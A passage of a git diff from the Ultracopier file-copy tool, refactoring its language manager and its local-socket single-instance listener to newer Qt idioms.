+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"temp.shortName.size()<=0 for: "+plugin.path);
+ else if(!QFile::exists(temp.path+QStringLiteral("flag.png")))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"flag file not found for: "+plugin.path);
+ else if(!QFile::exists(temp.path+QStringLiteral("translation.qm")) && temp.mainShortName!=QStringLiteral("en"))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"translation not found for: "+plugin.path);
+ else
+ LanguagesAvailableList<<temp;
+ if(PluginsManager::pluginsManager->allPluginHaveBeenLoaded())
+ setCurrentLanguage(getTheRightLanguage());
}
+#ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE
void LanguagesManager::onePluginWillBeRemoved(const PluginsAvailable &plugin)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- int index=0;
- while(index<LanguagesAvailableList.size())
- {
- if(plugin.path==LanguagesAvailableList.at(index).path)
- {
- return;
- }
- index++;
- }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ int index=0;
+ while(index<LanguagesAvailableList.size())
+ {
+ if(plugin.path==LanguagesAvailableList.at(index).path)
+ {
+ return;
+ }
+ index++;
+ }
}
+#endif
void LanguagesManager::newOptionValue(const QString &group)
{
- if(group=="Language")
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"group: "+group);
- setCurrentLanguage(getTheRightLanguage());
- }
+ if(group==QStringLiteral("Language"))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("group: ")+group);
+ setCurrentLanguage(getTheRightLanguage());
+ }
}
diff --git a/LanguagesManager.h b/LanguagesManager.h
index a517cac..8ec893d 100644
--- a/LanguagesManager.h
+++ b/LanguagesManager.h
@@ -1,9 +1,7 @@
/** \file LanguagesManager.h
\brief Define the class to manage and load the languages
\author alpha_one_x86
-\version 0.3
-\date 2010
-\licence GPL3, see the file COPYING */
+\licence GPL3, see the file COPYING */
#ifndef LANGUAGES_MANAGER_H
#define LANGUAGES_MANAGER_H
@@ -19,7 +17,6 @@
#include <QDir>
#include "Environment.h"
-#include "Singleton.h"
#include "OptionEngine.h"
#include "ResourcesManager.h"
#include "PluginsManager.h"
@@ -27,56 +24,54 @@
/** \brief Define the class to manage and load the resources linked with the themes
This class provide a core load and manage the resources */
-class LanguagesManager : public QObject, public Singleton<LanguagesManager>
+class LanguagesManager : public QObject
{
- Q_OBJECT
- friend class Singleton<LanguagesManager>;
- //public:
- // QString getMainShortName();
- private:
- /// \brief Create the manager and load the defaults variables
- LanguagesManager();
- /// \brief Destroy the language manager
- ~LanguagesManager();
- //for the options
- OptionEngine *options;
- /** \brief To set the current language
- \param newLanguage Should be short name code found into informations.xml of language file */
- void setCurrentLanguage(const QString &newLanguage);
- /// \brief Structure of language
- struct LanguagesAvailable
- {
- QString path;
- QString fullName;
- QString mainShortName;
- QStringList shortName;
- };
- /// \brief To store the language path
- QStringList languagePath;
- /// \brief To store the language detected
- QList<LanguagesAvailable> LanguagesAvailableList;
- /// \brief check if short name is found into language
- QString getMainShortName(const QString &shortName);
- /// \brief Store the object of resources manager
- ResourcesManager *resources;
- /// \brief Store the object of plugin manager
- PluginsManager *plugins;
- /// \brief list of installed translator
- QList<QTranslator *> installedTranslator;
- QString currentLanguage;
- /// \brief load the language selected
- QString getTheRightLanguage();
- private slots:
- /// \brief load the language in languagePath
- void allPluginIsLoaded();
- //plugin management
- void onePluginAdded(const PluginsAvailable &plugin);
- void onePluginWillBeRemoved(const PluginsAvailable &plugin);
- void newOptionValue(const QString &group);
- signals:
- //send the language is loaded or the new language is loaded
- void newLanguageLoaded(const QString &mainShortName);
- void previouslyPluginAdded(PluginsAvailable);
+ Q_OBJECT
+ //public:
+ // QString getMainShortName();
+ public:
+ const QString autodetectedLanguage() const;
+ static LanguagesManager *languagesManager;
+ /// \brief Create the manager and load the defaults variables
+ LanguagesManager();
+ /// \brief Destroy the language manager
+ ~LanguagesManager();
+ private:
+ /** \brief To set the current language
+ \param newLanguage Should be short name code found into informations.xml of language file */
+ void setCurrentLanguage(const QString &newLanguage);
+ /// \brief Structure of language
+ struct LanguagesAvailable
+ {
+ QString path;
+ QString fullName;
+ QString mainShortName;
+ QStringList shortName;
+ };
+ /// \brief To store the language path
+ QStringList languagePath;
+ /// \brief To store the language detected
+ QList<LanguagesAvailable> LanguagesAvailableList;
+ /// \brief check if short name is found into language
+ QString getMainShortName(const QString &shortName) const;
+ /// \brief list of installed translator
+ QList<QTranslator *> installedTranslator;
+ QString currentLanguage;
+ /// \brief load the language selected
+ QString getTheRightLanguage() const;
+ private slots:
+ /// \brief load the language in languagePath
+ void allPluginIsLoaded();
+ //plugin management
+ void onePluginAdded(const PluginsAvailable &plugin);
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+ void onePluginWillBeRemoved(const PluginsAvailable &plugin);
+ #endif
+ void newOptionValue(const QString &group);
+ signals:
+ //send the language is loaded or the new language is loaded
+ void newLanguageLoaded(const QString &mainShortName) const;
+ void previouslyPluginAdded(PluginsAvailable) const;
};
#endif // LANGUAGES_MANAGER_H
diff --git a/LocalListener.cpp b/LocalListener.cpp
index 3fcee9f..21dc09b 100644
--- a/LocalListener.cpp
+++ b/LocalListener.cpp
@@ -1,278 +1,301 @@
/** \file LocalListener.cpp
\brief The have local server, to have unique instance, and send arguments to the current running instance
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#include "LocalListener.h"
+#include "PluginsManager.h"
+
+#include <QLocalSocket>
+#include <QDir>
LocalListener::LocalListener(QObject *parent) :
QObject(parent)
{
- //for detect the timeout on QLocalSocket
- TimeOutQLocalSocket.setInterval(500);
- TimeOutQLocalSocket.setSingleShot(true);
- connect(&TimeOutQLocalSocket, SIGNAL(timeout()), this, SLOT(timeoutDectected()));
- connect(plugins,SIGNAL(pluginListingIsfinish()),this,SLOT(allPluginIsloaded()),Qt::QueuedConnection);
+ //for detect the timeout on QLocalSocket
+ TimeOutQLocalSocket.setInterval(500);
+ TimeOutQLocalSocket.setSingleShot(true);
+ connect(&TimeOutQLocalSocket, &QTimer::timeout, this, &LocalListener::timeoutDectected);
+ connect(PluginsManager::pluginsManager,&PluginsManager::pluginListingIsfinish,this, &LocalListener::allPluginIsloaded,Qt::QueuedConnection);
}
LocalListener::~LocalListener()
{
- if(localServer.isListening())
- {
- localServer.close();
- if(!QLocalServer::removeServer(ExtraSocket::pathSocket(ULTRACOPIER_SOCKETNAME)))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Unable to remove the listening server"));
- }
+ if(localServer.isListening())
+ {
+ localServer.close();
+ if(!QLocalServer::removeServer(ExtraSocket::pathSocket(ULTRACOPIER_SOCKETNAME)))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QString("Unable to remove the listening server"));
+ }
}
bool LocalListener::tryConnect()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- QStringList ultracopierArguments=QCoreApplication::arguments();
- //remove excutable path because is useless (unsafe to use)
- ultracopierArguments.removeFirst();
- //add the current path to file full path resolution if needed
- ultracopierArguments.insert(0,QFSFileEngine::currentPath());
- QLocalSocket localSocket;
- localSocket.connectToServer(ExtraSocket::pathSocket(ULTRACOPIER_SOCKETNAME),QIODevice::WriteOnly);
- if(localSocket.waitForConnected(1000))
- {
- if(!localSocket.isValid())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"localSocket is not valid!");
- return false;
- }
- emit cli(ultracopierArguments,false,true);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"connection succes, number arguments given: "+QString::number(ultracopierArguments.size()));
- #ifdef ULTRACOPIER_DEBUG
- for (int i = 0; i < ultracopierArguments.size(); ++i) {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"argument["+QString::number(i)+"]: "+ultracopierArguments.at(i));
- }
- #endif // ULTRACOPIER_DEBUG
- //cut string list and send it as block of 32KB
- QByteArray block;
- QDataStream out(&block, QIODevice::WriteOnly);
- //for total size
- out << int(0);
- //send the arguments
- out << ultracopierArguments;
- //write the size content
- out.device()->seek(0);
- out << block.size();
- do
- {
- QByteArray blockToSend;
- int byteWriten;
- blockToSend=block.left(32*1024);//32KB
- block.remove(0,blockToSend.size());
- byteWriten = localSocket.write(blockToSend);
- #ifdef ULTRACOPIER_DEBUG
- if(!localSocket.isValid())
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"localSocket is not valid!");
- if(localSocket.errorString()!="Unknown error" && localSocket.errorString()!="")
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"localSocket->errorString(): "+localSocket.errorString());
- if(blockToSend.size()!=byteWriten)
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"blockToSend("+QString::number(blockToSend.size())+")!=byteWriten("+QString::number(byteWriten)+")");
- #endif // ULTRACOPIER_DEBUG
- if(localSocket.waitForBytesWritten(200))
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"Block send correctly");
- }
- else
- {
- QMessageBox::critical(NULL,"Alert","No arguments send because timeout detected!");
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"Block not send correctly");
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"blockToSend: "+QString(blockToSend.toHex()));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"byteWriten: "+QString::number(byteWriten)+", size sending: "+QString::number(blockToSend.size()));
- }
- while(block.size());
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"disconnect the socket");
- localSocket.disconnectFromServer();
- return true;
- }
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"connection failed, continu...");
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"ultracopierArguments: "+ultracopierArguments.join(";"));
- return false;
- }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ QStringList ultracopierArguments=QCoreApplication::arguments();
+ //remove excutable path because is useless (unsafe to use)
+ ultracopierArguments.removeFirst();
+ //add the current path to file full path resolution if needed
+ ultracopierArguments.insert(0,QDir::currentPath());
+ QLocalSocket localSocket;
+ localSocket.connectToServer(ExtraSocket::pathSocket(ULTRACOPIER_SOCKETNAME),QIODevice::WriteOnly);
+ if(localSocket.waitForConnected(1000))
+ {
+ if(!localSocket.isValid())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"localSocket is not valid!");
+ return false;
+ }
+ emit cli(ultracopierArguments,false,true);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"connection succes, number arguments given: "+QString::number(ultracopierArguments.size()));
+ #ifdef ULTRACOPIER_DEBUG
+ for (int i = 0; i < ultracopierArguments.size(); ++i) {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"argument["+QString::number(i)+"]: "+ultracopierArguments.at(i));
+ }
+ #endif // ULTRACOPIER_DEBUG
+ //cut string list and send it as block of 32KB
+ QByteArray block;
+ QDataStream out(&block, QIODevice::WriteOnly);
+ //for total size
+ out << int(0);
+ //send the arguments
+ out << ultracopierArguments;
+ //write the size content
+ out.device()->seek(0);
+ out << block.size();
+ do
+ {
+ QByteArray blockToSend;
+ int byteWriten;
+ blockToSend=block.left(32*1024);//32KB
+ block.remove(0,blockToSend.size());
+ byteWriten = localSocket.write(blockToSend);
+ #ifdef ULTRACOPIER_DEBUG
+ if(!localSocket.isValid())
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"localSocket is not valid!");
+ if(localSocket.errorString()!="Unknown error" && localSocket.errorString()!="")
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"localSocket->errorString(): "+localSocket.errorString());
+ if(blockToSend.size()!=byteWriten)
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"blockToSend("+QString::number(blockToSend.size())+")!=byteWriten("+QString::number(byteWriten)+")");
+ #endif // ULTRACOPIER_DEBUG
+ if(localSocket.waitForBytesWritten(200))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"Block send correctly");
+ }
+ else
+ {
+ QMessageBox::critical(NULL,"Alert","No arguments send because timeout detected!");
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"Block not send correctly");
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"blockToSend: "+QString(blockToSend.toHex()));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"byteWriten: "+QString::number(byteWriten)+", size sending: "+QString::number(blockToSend.size()));
+ }
+ while(block.size());
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"disconnect the socket");
+ localSocket.disconnectFromServer();
+ return true;
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("connection failed, continu..."));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("ultracopierArguments: ")+ultracopierArguments.join(";"));
+ return false;
+ }
}
/// the listen server
void LocalListener::listenServer()
{
- if(!QLocalServer::removeServer(ExtraSocket::pathSocket(ULTRACOPIER_SOCKETNAME)))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Unable to remove the listening server"));
- if(!localServer.listen(ExtraSocket::pathSocket(ULTRACOPIER_SOCKETNAME)))
- {
- QMessageBox::critical(NULL,"Alert",QString("Ultracopier have not able to lock unique instance: %1").arg(localServer.errorString()));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Ultracopier have not able to lock unique instance: %1").arg(localServer.errorString()));
- }
- else
- connect(&localServer, SIGNAL(newConnection()), this, SLOT(newConnexion()));
+ if(!QLocalServer::removeServer(ExtraSocket::pathSocket(ULTRACOPIER_SOCKETNAME)))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("Unable to remove the listening server"));
+ #ifndef Q_OS_MAC
+ localServer.setSocketOptions(QLocalServer::UserAccessOption);
+ #endif
+ if(!localServer.listen(ExtraSocket::pathSocket(ULTRACOPIER_SOCKETNAME)))
+ {
+ #ifndef Q_OS_MAC
+ //QMessageBox::critical(NULL,"Alert",QStringLiteral("Ultracopier have not able to lock unique instance: %1").arg(localServer.errorString()));
+ #endif
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QString("Ultracopier have not able to lock unique instance: %1, error code: %2").arg(localServer.errorString()).arg((qint32)localServer.serverError()));
+ }
+ else
+ connect(&localServer, &QLocalServer::newConnection, this, &LocalListener::newConnexion);
}
//the time is done
void LocalListener::timeoutDectected()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"start");
- while(clientList.size()>0)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"clientList.first().size: "+QString::number(clientList.first().size));
- clientList.removeFirst();
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"Timeout while recomposing data from connected clients");
- QMessageBox::warning(NULL,tr("Warning"),tr("Timeout while recomposing data from connected clients"));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("start"));
+ if(clientList.size()>0)
+ {
+ int index=0;
+ bool haveData=false;
+ while(index<clientList.size())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"clientList.first().size: "+QString::number(clientList.first().size));
+ if(!clientList.at(index).data.isEmpty() || clientList.at(index).haveData)
+ {
+ haveData=true;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("Timeout while recomposing data from connected clients: %1").arg(QString(clientList.at(index).data.toHex())));
+ clientList.removeFirst();
+ }
+ else
+ index++;
+ }
+ if(haveData)
+ QMessageBox::warning(NULL,tr("Warning"),tr("Timeout while recomposing data from connected clients"));
+ }
}
/// \brief Data is incomming
void LocalListener::dataIncomming()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"start");
- // 1 : we get packets from client
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QStringLiteral("start"));
+ // 1 : we get packets from client
- //Which client send the message (Search of the QLocalSocket of client)
- QLocalSocket *socket = qobject_cast<QLocalSocket *>(sender());
- if (socket == 0) // If not found
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"bad socket");
- return;
- }
+ //Which client send the message (Search of the QLocalSocket of client)
+ QLocalSocket *socket = qobject_cast<QLocalSocket *>(sender());
+ if (socket == 0) // If not found
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("bad socket"));
+ return;
+ }
- int index=-1;
- for (int i=0;i<clientList.size(); ++i) {
- if(clientList.at(i).socket==socket)
- index=i;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"socket->bytesAvailable() "+QString::number(socket->bytesAvailable()));
- if(index!=-1)
- {
- if(!clientList.at(index).haveData)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"tempComposed index found, but no have data, create new entry");
- // If all is ok we get the message
- QDataStream in(socket);
- in.setVersion(QDataStream::Qt_4_4);
+ int index=-1;
+ for (int i=0;i<clientList.size(); ++i) {
+ if(clientList.at(i).socket==socket)
+ index=i;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("socket->bytesAvailable() ")+QString::number(socket->bytesAvailable()));
+ if(index!=-1)
+ {
+ if(!clientList.at(index).haveData)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"tempComposed index found, but no have data, create new entry");
+ // If all is ok we get the message
+ QDataStream in(socket);
+ in.setVersion(QDataStream::Qt_4_4);
- if (socket->bytesAvailable() < (int)sizeof(quint32)*2) // We have not receveive all the message, ignore because first int is cuted!
- {
- /*socket->readAll();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"wrong size for set the message size");*/
- return;
- }
- in >> clientList[index].size; // Store the size of the message
- clientList[index].size-=sizeof(int);
+ if (socket->bytesAvailable() < (int)sizeof(quint32)*2) // We have not receveive all the message, ignore because first int is cuted!
+ {
+ /*socket->readAll();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"wrong size for set the message size");*/
+ return;
+ }
+ in >> clientList[index].size; // Store the size of the message
+ clientList[index].size-=sizeof(int);
- // Check if all the message size is the same as the size given
- if(socket->bytesAvailable() < clientList.at(index).size) // If not all get then stop it
- {
- clientList[index].haveData=true;
- clientList[index].data.append(socket->readAll());
- TimeOutQLocalSocket.start();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"Need wait to recomposite: "+QString::number(clientList.at(index).data.size())+", targeted: "+QString::number(clientList.at(index).size));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"tempComposed.data: "+QString(clientList.at(index).data.toHex()));
- }
- else if(socket->bytesAvailable() == clientList.at(index).size) //if the size match
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"socket->bytesAvailable(): "+QString::number(socket->bytesAvailable())+", for total of: "+QString::number(socket->bytesAvailable()+sizeof(quint32)));
- QStringList ultracopierArguments;
- in >> ultracopierArguments;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"ultracopierArguments: "+ultracopierArguments.join(";"));
- emit cli(ultracopierArguments,true,false);
- clientList[index].data.clear();
- clientList[index].haveData=false;
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"socket->bytesAvailable(): "+QString::number(socket->bytesAvailable())+" > clientList.at(index).size!: "+QString::number(clientList.at(index).size));
- }
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Query recomposed with this size: "+QString::number(clientList.at(index).data.size()));
- clientList[index].data.append(socket->readAll());
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"Query recomposed with this size: "+QString::number(clientList.at(index).data.size()));
- if(clientList.at(index).data.size()==clientList.at(index).size)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"QByteArray reconstruction finished");
- QDataStream in(clientList.at(index).data);
- QStringList ultracopierArguments;
- in >> ultracopierArguments;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"ultracopierArguments: "+ultracopierArguments.join(";"));
- emit cli(ultracopierArguments,true,false);
- clientList[index].data.clear();
- clientList[index].haveData=false;
- }
- else
- {
- TimeOutQLocalSocket.start();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"Need wait to recomposite: "+QString::number(clientList.at(index).data.size())+", targeted: "+QString::number(clientList.at(index).size));
- return;
- }
- }
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Socket not found???");
+ // Check if all the message size is the same as the size given
+ if(socket->bytesAvailable() < clientList.at(index).size) // If not all get then stop it
+ {
+ clientList[index].haveData=true;
+ clientList[index].data.append(socket->readAll());
+ TimeOutQLocalSocket.start();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"Need wait to recomposite: "+QString::number(clientList.at(index).data.size())+", targeted: "+QString::number(clientList.at(index).size));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"tempComposed.data: "+QString(clientList.at(index).data.toHex()));
+ }
+ else if(socket->bytesAvailable() == clientList.at(index).size) //if the size match
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"socket->bytesAvailable(): "+QString::number(socket->bytesAvailable())+", for total of: "+QString::number(socket->bytesAvailable()+sizeof(quint32)));
+ QStringList ultracopierArguments;
+ in >> ultracopierArguments;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"ultracopierArguments: "+ultracopierArguments.join(";"));
+ emit cli(ultracopierArguments,true,false);
+ clientList[index].data.clear();
+ clientList[index].haveData=false;
+ TimeOutQLocalSocket.stop();
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("socket->bytesAvailable(): ")+QString::number(socket->bytesAvailable())+QStringLiteral(" > clientList.at(index).size!: ")+QString::number(clientList.at(index).size));
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("Query recomposed with this size: ")+QString::number(clientList.at(index).data.size()));
+ clientList[index].data.append(socket->readAll());
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("Query recomposed with this size: ")+QString::number(clientList.at(index).data.size()));
+ if(clientList.at(index).data.size()==clientList.at(index).size)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QStringLiteral("QByteArray reconstruction finished"));
+ QDataStream in(clientList.at(index).data);
+ QStringList ultracopierArguments;
+ in >> ultracopierArguments;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("ultracopierArguments: ")+ultracopierArguments.join(";"));
+ emit cli(ultracopierArguments,true,false);
+ clientList[index].data.clear();
+ clientList[index].haveData=false;
+ TimeOutQLocalSocket.stop();
+ }
+ else
+ {
+ TimeOutQLocalSocket.start();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("Need wait to recomposite: ")+QString::number(clientList.at(index).data.size())+QStringLiteral(", targeted: ")+QString::number(clientList.at(index).size));
+ return;
+ }
+ }
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("Socket not found???"));
}
/// \brief Deconnexion client
/// \todo Remove the data in wait linker with this socket
void LocalListener::deconnectClient()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
- // Wich client leave
- QLocalSocket *socket = qobject_cast<QLocalSocket *>(sender());
- if (socket == 0) // If not found
- return;
- for (int i = 0; i < clientList.size(); ++i) {
- if(clientList.at(i).socket==socket)
- clientList.removeAt(i);
- }
- socket->deleteLater();
+ // Wich client leave
+ QLocalSocket *socket = qobject_cast<QLocalSocket *>(sender());
+ if (socket == 0) // If not found
+ return;
+ for (int i = 0; i < clientList.size(); ++i) {
+ if(clientList.at(i).socket==socket)
+ clientList.removeAt(i);
+ }
+ socket->deleteLater();
}
/// LocalListener New connexion
void LocalListener::newConnexion()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"start");
- composedData newClient;
- newClient.socket = localServer.nextPendingConnection();
- #ifdef ULTRACOPIER_DEBUG
- connect(newClient.socket, SIGNAL(error(QLocalSocket::LocalSocketError)), this, SLOT(error(QLocalSocket::LocalSocketError)));
- #endif
- connect(newClient.socket, SIGNAL(readyRead()), this, SLOT(dataIncomming()));
- connect(newClient.socket, SIGNAL(disconnected()), this, SLOT(deconnectClient()));
- newClient.size=-1;
- newClient.haveData=false;
- clientList << newClient;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QStringLiteral("start"));
+ ComposedData newClient;
+ newClient.socket = localServer.nextPendingConnection();
+ #ifdef ULTRACOPIER_DEBUG
+ connect(newClient.socket, static_cast<void(QLocalSocket::*)(QLocalSocket::LocalSocketError)>(&QLocalSocket::error), this, &LocalListener::error);
+ //connect(newClient.socket, &QLocalSocket::error, this, &LocalListener::error);
+ //connect(newClient.socket, SIGNAL(error(QLocalSocket::LocalSocketError)), this, SLOT(error(QLocalSocket::LocalSocketError)));
+ #endif
+ connect(newClient.socket, &QLocalSocket::readyRead, this, &LocalListener::dataIncomming);
+ connect(newClient.socket, &QLocalSocket::disconnected, this, &LocalListener::deconnectClient);
+ newClient.size=-1;
+ newClient.haveData=false;
+ clientList << newClient;
}
#ifdef ULTRACOPIER_DEBUG
/** \brief If error occured at socket
\param theErrorDefine The error define */
-void LocalListener::error(QLocalSocket::LocalSocketError theErrorDefine)
+void LocalListener::error(const QLocalSocket::LocalSocketError &theErrorDefine)
{
- if(theErrorDefine!=QLocalSocket::PeerClosedError)
- {
- QLocalSocket *client=qobject_cast<QLocalSocket *>(QObject::sender());
- if(client!=NULL)
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Value:"+QString::number(theErrorDefine)+", Error message: "+client->errorString());
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Value:"+QString::number(theErrorDefine));
- }
+ if(theErrorDefine!=QLocalSocket::PeerClosedError)
+ {
+ QLocalSocket *client=qobject_cast<QLocalSocket *>(QObject::sender());
+ if(client!=NULL)
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Value:"+QString::number(theErrorDefine)+", Error message: "+client->errorString());
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Value:"+QString::number(theErrorDefine));
+ }
}
#endif
/// \can now parse the cli
void LocalListener::allPluginIsloaded()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- QStringList ultracopierArguments=QCoreApplication::arguments();
- //remove excutable path because is useless (unsafe to use)
- ultracopierArguments.removeFirst();
- //add the current path to file full path resolution if needed
- ultracopierArguments.insert(0,QFSFileEngine::currentPath());
- emit cli(ultracopierArguments,false,false);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ QStringList ultracopierArguments=QCoreApplication::arguments();
+ //remove excutable path because is useless (unsafe to use)
+ ultracopierArguments.removeFirst();
+ //add the current path to file full path resolution if needed
+ ultracopierArguments.insert(0,QDir::currentPath());
+ emit cli(ultracopierArguments,false,false);
}
diff --git a/LocalListener.h b/LocalListener.h
index a0fbee1..cc23dde 100644
--- a/LocalListener.h
+++ b/LocalListener.h
@@ -1,8 +1,6 @@
/** \file LocalListener.h
\brief The have local server, to have unique instance, and send arguments to the current running instance
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#ifndef LOCALLISTENER_H
@@ -14,55 +12,54 @@
#include <QStringList>
#include <QString>
#include <QCoreApplication>
-#include <QFSFileEngine>
#include <QMessageBox>
#include <QTimer>
#include <QList>
+#include <QByteArray>
#include "Environment.h"
#include "ExtraSocket.h"
-#include "GlobalClass.h"
/** \brief To have unique instance, and pass arguments to the existing instance if needed */
-class LocalListener : public QObject, public GlobalClass
+class LocalListener : public QObject
{
Q_OBJECT
public:
- explicit LocalListener(QObject *parent = 0);
- ~LocalListener();
+ explicit LocalListener(QObject *parent = 0);
+ ~LocalListener();
public slots:
- /// try connect to existing server
- bool tryConnect();
- /// the listen server
- void listenServer();
+ /// try connect to existing server
+ bool tryConnect();
+ /// the listen server
+ void listenServer();
private:
- QLocalServer localServer;
- QTimer TimeOutQLocalSocket;
- typedef struct {
- QLocalSocket * socket;
- QByteArray data;
- int size;
- bool haveData;
- } composedData;
- QList<composedData> clientList;
+ QLocalServer localServer;
+ QTimer TimeOutQLocalSocket;/// \todo by client
+ typedef struct {
+ QLocalSocket * socket;
